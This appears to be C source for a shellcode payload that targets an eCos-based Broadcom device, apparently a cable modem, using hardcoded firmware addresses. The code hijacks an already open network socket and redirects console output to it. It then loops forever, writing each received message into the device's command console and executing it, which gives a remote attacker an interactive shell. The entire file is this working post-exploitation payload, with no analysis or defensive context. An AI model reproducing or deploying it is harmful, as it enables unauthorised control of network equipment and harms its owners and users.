#define SAVED_SOCKET_ADDR 0x80a05b24
#define RECV_ADDR 0x808ae0cc
#define SEND_ADDR 0x808ae22c
#define CONSOLE_EXECUTE_ADDR 0x80231f84
#define GET_CONSOLE_SINGLETON_ADDR 0x80231f14
#define MEMCPY_ADDR 0x80850e80
#define MALLOC_ADDR 0x800049b4
#define BZERO_ADDR 0x805cda2c
#define COMMAND_OFFSET 0x107d
#define STRLEN_ADDR 0x808512e8
#define SYG_FP_GET 0x808abb10
#define CYG_FP_FREE 0x808abb78
#define CYG_DF_ASSIGN 0x808aba38
#define STRLCPY_ADDR 0x80604fa0
#define PRINTF_ADDR 0x8084e03c

typedef void* memcpy_t(void* to, void const* from, unsigned int size);
typedef void* strlcpy_t(void* to, void const* from, unsigned int size);
typedef int recv_t(int s, void* buf, unsigned int len, int flags);
typedef unsigned int *send_t(int s, void const* buf, unsigned int len, int flags);
typedef void* malloc_t(unsigned int size);
typedef void* bzero_t(void* block, unsigned int size);
typedef unsigned int strlen_t(char const* s);
typedef int sleep_t(unsigned int zzz);
typedef void *cyg_fp_get_t(int fd);
typedef void cyg_fp_free_t(void *fp);
typedef int cyg_fd_assign_t(int fd, void *fp);
typedef int printf_t(char *str, ...);

typedef void* BcmConsoleGetSingletonInstance_t(void);
typedef int BcmConsoleExecuteCurrentCommand_t(void* console);

int __start(void) {
    // memcpy_t *memcpy_ptr = (memcpy_t *) MEMCPY_ADDR;
    recv_t *recv_ptr = (recv_t *) RECV_ADDR;
    //send_t *send_ptr = (send_t *) SEND_ADDR;
    malloc_t *malloc_ptr = (malloc_t *) MALLOC_ADDR;
    bzero_t *bzero_ptr = (bzero_t *) BZERO_ADDR;
    // strlen_t *strlen_ptr = (strlen_t *) STRLEN_ADDR;
    strlcpy_t *strlcpy_ptr = (strlcpy_t *) STRLCPY_ADDR;
    printf_t *printf_ptr = (printf_t *) PRINTF_ADDR;

    cyg_fp_get_t *cyg_fp_get_ptr = (cyg_fp_get_t *) SYG_FP_GET;
    cyg_fp_free_t *cyg_fp_free_ptr = (cyg_fp_free_t *) CYG_FP_FREE;
    cyg_fd_assign_t *cyg_fd_assign_ptr = (cyg_fd_assign_t *) CYG_DF_ASSIGN;

    BcmConsoleExecuteCurrentCommand_t *consoleExecute_ptr = (BcmConsoleExecuteCurrentCommand_t *) CONSOLE_EXECUTE_ADDR;
    BcmConsoleGetSingletonInstance_t *consoleGetInstance_ptr = (BcmConsoleGetSingletonInstance_t *) GET_CONSOLE_SINGLETON_ADDR;

    int socket = *((int *)SAVED_SOCKET_ADDR);
    void *buffer = malloc_ptr(0x100);
    void *consoleInstance = consoleGetInstance_ptr();
    int receivedBytes = 0x0;

    void *fp = cyg_fp_get_ptr(socket);
    cyg_fd_assign_ptr(0x1, fp);
    cyg_fp_free_ptr(fp);

    printf_ptr((char *)0x8096e272);

    for (;;) {
        bzero_ptr(buffer, 0x100);
        receivedBytes = recv_ptr(socket, buffer, 0x100, 0x0);
        if (receivedBytes > 0) {
            char *commandBuffer = ((char *)consoleInstance);
            commandBuffer += 0x107d;
            //printf_ptr((char *) 0x80a626f0, commandBuffer);
            strlcpy_ptr(commandBuffer, buffer, receivedBytes);
            commandBuffer[receivedBytes+1] = 0x0;
            //printf_ptr(commandBuffer);
            consoleExecute_ptr(consoleInstance);
        }
    }

    return 0;
}
